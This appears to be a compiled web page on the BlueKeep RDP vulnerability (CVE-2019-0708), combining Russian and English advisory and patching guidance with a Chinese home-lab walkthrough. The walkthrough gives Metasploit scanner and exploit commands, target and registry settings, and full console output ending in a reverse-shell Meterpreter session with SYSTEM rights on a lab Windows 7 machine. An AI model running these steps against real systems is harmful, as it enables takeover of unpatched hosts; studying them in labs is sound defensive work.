14 мая 2019 года Microsoft сообщила о наличии критической уязвимости в реализации службы удаленных столов (ранее служба терминалов) в Windows, которая позволяет атакующему, не прошедшему проверку подлинности, через протокол RDP удаленно выполнить произвольный код на целевой системе. RCE (Remote Code Execution) уязвимость описана в CVE-2019-0708 и ей присвоено неофициальное название BlueKeep. Уязвимости подвержены только старые версии Windows – начиная с Windows XP (Windows Server 2003) и заканчивая Windows 7 (Windows Server 2008 R2). Более новые версии (Windows 10, 8.1 и Windows Server 2012R2/2016/2019) данной уязвимости в RDS не подвержены.
Содержание:
- RCE уязвимость CVE-2019-0708 в Remote Desktop Services
- Защита от уязвимости BlueKeep CVE-2019-0708
- Обновления Windows для защиты от RDP уязвимости BlueKeep
RCE уязвимость CVE-2019-0708 в Remote Desktop Services
Уязвимость присутствует не в самом протоколе RDP, а в реализации службы удаленных рабочих столов (Remote Desktop Service) в старых версиях Windows. Для эксплуатации уязвимости необходим только сетевой доступ к компьютеру с подверженной версией Windows и наличие на нем включенной службы RDP (доступ к которой не должен блокироваться межсетевыми экранами). Т.е. если ваш Windows хост доступен из интернета через RDP, это означает, что уязвимость может быть эксплуатирована кем угодно. Уязвимость реализуется за счет отправки специального запроса к службе удаленного рабочего стола через RDP, преаутентфикация удаленного пользователя при этом не требуется. После реализации уязвимости BlueKeep атакующий может удаленно выполнить произвольный код на целевой системе с правами SYSTEM.
Microsoft отмечает, что есть весьма высокая вероятность появления автоматических червей, которые будут используют уязвимость в RDS для распространения в локальных сетях. Таким образом масштаб атак может достигнуть результатов червя WannaCry (использовал уязвимость в протоколе SMB CVE-2017-0144 — EternalBlue).
Защита от уязвимости BlueKeep CVE-2019-0708
Для защиты от уязвимости CVE-2019-0708 (BlueKeep) Microsoft рекомендует оперативно установить обновления безопасности (перечислены в следующем разделе). Для уменьшения рисков реализации уязвимости на системах до момента установки обновления во внешнем периметре рекомендуются следующие действия:
- Временно отключить RDP доступ к компьютерам и отключить службу Remote Desktop Services или заблокировать внешний доступ на RDP на межсетевых экранах периметра сети и отключить проброс RDP портов в локальную сеть;
- Включить поддержку Network Level Authentication (NLA — Проверку подлинности на уровне сети) в настройках RDP на компьютере ) – возможно настроить как в Windows 7 /2008 R2, так и в Windows XP SP3. При включенной NLA для реализации уязвимости атакующему сначала нужно аутентифицироваться в службе Remote Desktop Services с помощью действительного аккаунта (реализовать атаку можно только под легитимным пользователем).
Обновления Windows для защиты от RDP уязвимости BlueKeep
Microsoft выпустила обновления для всех ОС Windows, подверженных уязвимости CVE-2019-0708 (BlueKeep). Патчи доступны для загрузки в каталоге обновлений Microsoft.
Несмотря на то, что Microsoft прекратила поддержку Windows XP и Windows Server 2003, для защиты от BlueKeep были выпушены обновления и для этих устаревших систем. Что лишний раз подчеркивает серьезность найденной уязвимости и высокий риск ее массовой эксплуатации.
Ниже приведены прямые ссылки на ручную загрузку обновлений для популярных версий Windows:
KB4500331:
Windows XP SP3 x86, x64 Windows XP Embedded, Windows Server 2003 SP2 x86, x64 — https://www.catalog.update.microsoft.com/Search.aspx?q=KB4500331
KB4499175:
- Windows Server 2008 R2 SP1 и Windows 7 SP1 x64 — windows6.1-kb4499175-x64_3704acfff45ddf163d8049683d5a3b75e49b58cb.msu
- Windows 7 x86 SP1 — windows6.1-kb4499175-x86_6f1319c32d5bc4caf2058ae8ff40789ab10bf41b.msu
В Windows XP и 2003 обновления kb4500331 придется устанавливать вручную.
Для Windows 7 и Windows Server 2008 R2 обновление KB4499175 уже доступно для установки через WSUS (в зависимости от настроек одобрения обновлений) и Microsoft Update. Но вы можете установить его и вручную из msu файла с помощью wusa.exe:
wusa.exe "C:\Install\windows6.1-kb4499175-x64_3704acfff45ddf163d8049683d5a3b75e49b58cb.msu" /quiet /warnrestart
CVE-2019-0708
CVE-2019-0708 [BlueKeep] — WinXP / Win7 / Server 2003 / Server 2008 RDP exploit PoC | Remote Code Execution
Demo: https://app.any.run/tasks/fe9430a3-59d9-447b-ac05-979e841efa7d Proof of concept exploit for BlueKeep
Microsoft Windows 7 for 32-bit Systems SP1
Microsoft Windows 7 for x64-based Systems SP1
Microsoft Windows Server 2003
Microsoft Windows Server 2008 R2 for Itanium-based Systems SP1
Microsoft Windows Server 2008 R2 for x64-based Systems SP1
Microsoft Windows Server 2008 for 32-bit Systems SP2
Microsoft Windows Server 2008 for Itanium-based Systems SP2
Microsoft Windows Server 2008 for x64-based Systems SP2
Microsoft Windows XP
Remote Desktop Services Remote Code Execution
https://support.microsoft.com/en-us/help/4500705/customer-guidance-for-cve-2019-0708
Remote Desktop Services Remote Code Execution Vulnerability
https://portal.msrc.microsoft.com/en-US/security-guidance/advisory/CVE-2019-0708
CVE-2019-0708 and Remote Desktop Services
On May 14, 2019, Microsoft released a patch for Windows 2003, Windows 2008, and Windows 2008 R2 servers. The specific patch mitigates the possibility that an attack could happen via Remote Desktop Protocol (RDP). It is important to note that RDP is not by itself vulnerable. This exploit is pre-authentication and does not require user interaction. If exploited, the vulnerability could spread to other vulnerable servers in a worm-like fashion. To exploit this vulnerability, an attacker would need to send a specially crafted request to the server via RDP. The exploit could then run code to take over control of a system, delete files, and/or install programs.
Is there an exploit available for this yet?
At the time of this writing, there is not a public exploit available. However, given the severity of the patch (Critical), it is likely only a matter of time before an exploit becomes available.
Which server versions are affected?
Windows 2003, Windows 2008, and Windows 2008 R2. While Windows 2003 is no longer supported by Microsoft, this is an out of band patch that is being released. Customers should consider migrating away from Windows 2003 to a supported OS.
Our servers are protected by VPN though. Does that help mitigate the risk?
While DataBank always recommends locking down ports on the firewall and using secure methods of connecting to a server, such as via VPN, this does not prevent an exploit from occurring. While a VPN does lower the surface area of an attack as the communication is encrypted and the RDP service is not opened externally, the risk still exists until the patch is deployed. The risk can also be partially mitigated with Network Level Authentication (NLA) in that the exploit would not spread to other vulnerable systems with NLA enabled. DataBank recommends deploying the patch as soon as possible.
Where can I download the patch and apply it?
More information on the patch and how to download it is available in the Microsoft Update Catalog.
- 14 Авг
-
Корпоративная безопасность
Компания Microsoft сообщила о наличии критической уязвимости в реализации службы удаленных столов (ранее служба терминалов RDP) в Windows, которая позволяет атакующему, не прошедшему проверку подлинности, через протокол RDP удаленно выполнить произвольный код на целевой системе. RCE (Remote Code Execution) уязвимость описана в CVE-2019-0708 и ей присвоено неофициальное название BlueKeep.
Версии ОС Windows, подверженные уязвимости:
Windows 7 for 32-bit Systems Service Pack 1
Windows 7 for x64-based Systems Service Pack 1
Windows Server 2008 for 32-bit Systems Service Pack 2
Windows Server 2008 for 32-bit Systems Service Pack 2 (Server Core installation)
Windows Server 2008 for Itanium-Based Systems Service Pack 2
Windows Server 2008 for x64-based Systems Service Pack 2
Windows Server 2008 for x64-based Systems Service Pack 2 (Server Core installation)
Windows Server 2008 R2 for Itanium-Based Systems Service Pack 1
Windows Server 2008 R2 for x64-based Systems Service Pack 1
Windows Server 2008 R2 for x64-based Systems Service Pack 1 (Server Core installation
Windows XP SP3 x86
Windows XP Professional x64 Edition SP2
Windows XP Embedded SP3 x86
Windows Server 2003 SP2 x86
Windows Server 2003 x64 Edition SP2
Более новые версии (Windows 10, 8.1 и Windows Server 2012R2/2016/2019) данной уязвимости в RDS не подвержены.
Защита от уязвимости BlueKeep CVE-2019-0708
Для защиты от уязвимости CVE-2019-0708 (BlueKeep) Microsoft рекомендует оперативно установить обновления безопасности (перечислены в следующем разделе). Для уменьшения рисков реализации уязвимости на системах до момента установки обновления во внешнем периметре рекомендуются следующие действия:
Временно отключить RDP доступ к компьютерам и отключить службу Remote Desktop Services или заблокировать внешний доступ на RDP на межсетевых экранах периметра сети и отключить проброс RDP портов в локальную сеть;
Включить поддержку Network Level Authentication (NLA — Проверку подлинности на уровне сети) в настройках RDP на компьютере) – возможно настроить как в Windows 7 /2008 R2, так и в Windows XP SP3. При включенной NLA для реализации уязвимости атакующему сначала нужно аутентифицироваться в службе Remote Desktop Services с помощью действительного аккаунта (реализовать атаку можно только под легитимным пользователем).
Обновления Windows для защиты от RDP уязвимости BlueKeep
Microsoft выпустила обновления для всех ОС Windows, подверженных уязвимости CVE-2019-0708 (BlueKeep). Патчи доступны для загрузки в каталоге обновлений Microsoft.
Пользователи поддерживаемых систем могут установить обновления через Центр обновления Windows – для Windows 7 и Windows Server 2008 R2 необходимо установить ежемесячный набор обновлений KB4499164 или только патч безопасности KB4499175. Для Windows Server 2008 – ежемесячный набор обновлений KB4499149 или только патч безопасности KB4499180.
Несмотря на то, что Microsoft прекратила поддержку Windows XP и Windows Server 2003, для защиты от BlueKeep были выпушены обновления и для этих устаревших систем. Что лишний раз подчеркивает серьезность найденной уязвимости и высокий риск ее массовой эксплуатации.
https://support.microsoft.com/ru-ru/help/4500705/customer-guidance-for-cve-2019-0708
Ниже приведены прямые ссылки на загрузку обновления для популярных версий Windows:
KB4500331
Windows XP SP3 x86, x64 Windows XP Embedded, Windows Server 2003 SP2 x86, x64 — https://www.catalog.update.microsoft.com/Search.aspx?q=KB4500331
KB4499175
Windows Server 2008 R2 SP1 и Windows 7 SP1 x64 — windows6.1-kb4499175-x64_3704acfff45ddf163d8049683d5a3b75e49b58cb.msu
Windows 7 x86 SP1 — windows6.1-kb4499175-x86_6f1319c32d5bc4caf2058ae8ff40789ab10bf41b.msu
Для Windows 7 и Windows Server 2008 R2 обновление KB4499175 уже доступно для установки через WSUS (в зависимости от настроек одобрения обновлений) и Microsoft Update. Но вы можете установить его и вручную из msu файла с помощью wusa.exe
1
2
3
4
sudo nmap -p 3389 10.10.10.7
PORT STATE SERVICE
3389/tcp open ms-wbt-server
CVE-2019-0708 BlueKeep Microsoft Remote Desktop RCE Check
CVE-2019-0708 BlueKeep Microsoft 远程桌面 RCE 检查
此模块通过将 MS_T120 通道绑定到其正常插槽之外并发送非 DoS 数据包来检查一系列主机是否存在 CVE-2019-0708 漏洞,这些数据包在修补和易受攻击的主机上响应不同。它可以选择性地触发 DoS 漏洞。
CVE-2019-0708 BlueKeep RDP Remote Windows Kernel Use After Free
CVE-2019-0708 BlueKeep RDP 远程 Windows 内核在释放后使用
RDP termdd.sys 驱动程序不正确地处理绑定到仅限内部通道 MS_T120,从而允许格式错误的断开提供程序指示消息导致释放后使用。通过可控的数据/大小远程非分页池喷射,释放通道的间接调用小工具用于实现任意代码执行。Windows 7 SP1 和 Windows Server 2008 R2 是目前唯一支持的目标。假设您的目标选择与系统的内存布局正确匹配,Windows 7 SP1 在其默认配置中应该是可利用的。HKLM\SYSTEM\CurrentControlSet\Control\TerminalServer\Winstations\RDP-Tcp\fDisableCam 需要设置为 0 才能成功利用 Windows Server 2008 R2。这是普通服务器的非标准配置,如果没有设置上述注册表项,目标将崩溃!如果无论如何目标都崩溃了,您可能需要确定内核内存中的非分页池基础并将其设置为 GROOMBASE 选项。
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
msfconsole
search BlueKeep
use auxiliary/scanner/rdp/cve_2019_0708_bluekeep
show options
set RHOSTS 10.10.10.7
run
search BlueKeep
use exploit/windows/rdp/cve_2019_0708_bluekeep_rce
show options
set RHOSTS 10.10.10.7
exploit
show targets
set target 2
exploit
meterpreter> sysinfo
meterpreter> getuid
Home Lab
环境:Windows 7 SP1
Enable Windows Server 2008 R2 Remote Desktop Services
How-To Enable Remote Desktop RDP on Windows 7
在Windows Server 2008 R2环境中,需要将HKLM\SYSTEM\CurrentControlSet\Control\TerminalServer\Winstations\RDP-Tcp\fDisableCam
设置0,才能成功利用BlueKeep。而Windows 7 SP1 在其默认配置中是可利用的。
1
2
3
4
5
6
7
8
9
10
11
12
┌──(root㉿kali)-[~]
└─# nmap -p 3389 192.168.248.150
Starting Nmap 7.92 ( https://nmap.org ) at 2022-10-06 08:52 EDT
Nmap scan report for 192.168.248.150
Host is up (0.00033s latency).
PORT STATE SERVICE
3389/tcp open ms-wbt-server
MAC Address: 00:0C:29:9A:7D:04 (VMware)
Nmap done: 1 IP address (1 host up) scanned in 0.19 seconds
如果不设置target,则无法利用。将target设置为2-5(虚拟机),都会导致目标Windows 7 SP1崩溃。而将target设置为1(实体机),可以成功利用BlueKeep获得meterpreter会话,尽管目标是运行在Vmware 16中的虚拟机。
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
┌──(root㉿kali)-[~]
└─# msfconsole -q
msf6 > search BlueKeep
Matching Modules
================
# Name Disclosure Date Rank Check Description
- ---- --------------- ---- ----- -----------
0 auxiliary/scanner/rdp/cve_2019_0708_bluekeep 2019-05-14 normal Yes CVE-2019-0708 BlueKeep Microsoft Remote Desktop RCE Check
1 exploit/windows/rdp/cve_2019_0708_bluekeep_rce 2019-05-14 manual Yes CVE-2019-0708 BlueKeep RDP Remote Windows Kernel Use After Free
Interact with a module by name or index. For example info 1, use 1 or use exploit/windows/rdp/cve_2019_0708_bluekeep_rce
msf6 > use auxiliary/scanner/rdp/cve_2019_0708_bluekeep
msf6 auxiliary(scanner/rdp/cve_2019_0708_bluekeep) > set RHOSTS 192.168.248.150
RHOSTS => 192.168.248.150
msf6 auxiliary(scanner/rdp/cve_2019_0708_bluekeep) > run
[+] 192.168.248.150:3389 - The target is vulnerable. The target attempted cleanup of the incorrectly-bound MS_T120 channel.
[*] 192.168.248.150:3389 - Scanned 1 of 1 hosts (100% complete)
[*] Auxiliary module execution completed
msf6 auxiliary(scanner/rdp/cve_2019_0708_bluekeep) > use exploit/windows/rdp/cve_2019_0708_bluekeep_rce
[*] No payload configured, defaulting to windows/x64/meterpreter/reverse_tcp
msf6 exploit(windows/rdp/cve_2019_0708_bluekeep_rce) > set RHOSTS 192.168.248.150
RHOSTS => 192.168.248.150
msf6 exploit(windows/rdp/cve_2019_0708_bluekeep_rce) > exploit
[*] Started reverse TCP handler on 192.168.248.148:4444
[*] 192.168.248.150:3389 - Running automatic check ("set AutoCheck false" to disable)
[*] 192.168.248.150:3389 - Using auxiliary/scanner/rdp/cve_2019_0708_bluekeep as check
[+] 192.168.248.150:3389 - The target is vulnerable. The target attempted cleanup of the incorrectly-bound MS_T120 channel.
[*] 192.168.248.150:3389 - Scanned 1 of 1 hosts (100% complete)
[+] 192.168.248.150:3389 - The target is vulnerable. The target attempted cleanup of the incorrectly-bound MS_T120 channel.
[-] 192.168.248.150:3389 - Exploit aborted due to failure: bad-config: Set the most appropriate target manually. If you are targeting 2008, make sure fDisableCam=0 !
[*] Exploit completed, but no session was created.
msf6 exploit(windows/rdp/cve_2019_0708_bluekeep_rce) > show targets
Exploit targets:
Id Name
-- ----
0 Automatic targeting via fingerprinting
1 Windows 7 SP1 / 2008 R2 (6.1.7601 x64)
2 Windows 7 SP1 / 2008 R2 (6.1.7601 x64 - Virtualbox 6)
3 Windows 7 SP1 / 2008 R2 (6.1.7601 x64 - VMWare 14)
4 Windows 7 SP1 / 2008 R2 (6.1.7601 x64 - VMWare 15)
5 Windows 7 SP1 / 2008 R2 (6.1.7601 x64 - VMWare 15.1)
6 Windows 7 SP1 / 2008 R2 (6.1.7601 x64 - Hyper-V)
7 Windows 7 SP1 / 2008 R2 (6.1.7601 x64 - AWS)
8 Windows 7 SP1 / 2008 R2 (6.1.7601 x64 - QEMU/KVM)
msf6 exploit(windows/rdp/cve_2019_0708_bluekeep_rce) > set target 5
target => 5
msf6 exploit(windows/rdp/cve_2019_0708_bluekeep_rce) > exploit
[*] Started reverse TCP handler on 192.168.248.148:4444
[*] 192.168.248.150:3389 - Running automatic check ("set AutoCheck false" to disable)
[*] 192.168.248.150:3389 - Using auxiliary/scanner/rdp/cve_2019_0708_bluekeep as check
[+] 192.168.248.150:3389 - The target is vulnerable. The target attempted cleanup of the incorrectly-bound MS_T120 channel.
[*] 192.168.248.150:3389 - Scanned 1 of 1 hosts (100% complete)
[+] 192.168.248.150:3389 - The target is vulnerable. The target attempted cleanup of the incorrectly-bound MS_T120 channel.
[*] 192.168.248.150:3389 - Using CHUNK grooming strategy. Size 250MB, target address 0xfffffa8028608000, Channel count 1.
[!] 192.168.248.150:3389 - <---------------- | Entering Danger Zone | ---------------->
[*] 192.168.248.150:3389 - Surfing channels ...
[*] 192.168.248.150:3389 - Lobbing eggs ...
[*] 192.168.248.150:3389 - Forcing the USE of FREE'd object ...
[!] 192.168.248.150:3389 - <---------------- | Leaving Danger Zone | ---------------->
[*] Exploit completed, but no session was created.
Windows 7 SP1崩溃了。
当我们设置target为Windows 7 SP1 / 2008 R2 (6.1.7601 x64)
时,成功获得meterpreter。
1
2
3
4
5
Exploit targets:
Id Name
-- ----
1 Windows 7 SP1 / 2008 R2 (6.1.7601 x64)
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
msf6 exploit(windows/rdp/cve_2019_0708_bluekeep_rce) > set target 1
target => 1
msf6 exploit(windows/rdp/cve_2019_0708_bluekeep_rce) > exploit
[*] Started reverse TCP handler on 192.168.248.148:4444
[*] 192.168.248.150:3389 - Running automatic check ("set AutoCheck false" to disable)
[*] 192.168.248.150:3389 - Using auxiliary/scanner/rdp/cve_2019_0708_bluekeep as check
[+] 192.168.248.150:3389 - The target is vulnerable. The target attempted cleanup of the incorrectly-bound MS_T120 channel.
[*] 192.168.248.150:3389 - Scanned 1 of 1 hosts (100% complete)
[+] 192.168.248.150:3389 - The target is vulnerable. The target attempted cleanup of the incorrectly-bound MS_T120 channel.
[*] 192.168.248.150:3389 - Using CHUNK grooming strategy. Size 250MB, target address 0xfffffa8013200000, Channel count 1.
[!] 192.168.248.150:3389 - <---------------- | Entering Danger Zone | ---------------->
[*] 192.168.248.150:3389 - Surfing channels ...
[*] 192.168.248.150:3389 - Lobbing eggs ...
[*] 192.168.248.150:3389 - Forcing the USE of FREE'd object ...
[!] 192.168.248.150:3389 - <---------------- | Leaving Danger Zone | ---------------->
[*] Sending stage (200774 bytes) to 192.168.248.150
[*] Meterpreter session 1 opened (192.168.248.148:4444 -> 192.168.248.150:49159) at 2022-10-06 09:18:30 -0400
meterpreter > sysinfo
Computer : IEWIN7
OS : Windows 7 (6.1 Build 7601, Service Pack 1).
Architecture : x64
System Language : en_US
Domain : WORKGROUP
Logged On Users : 2
Meterpreter : x64/windows
meterpreter > getuid
Server username: NT AUTHORITY\SYSTEM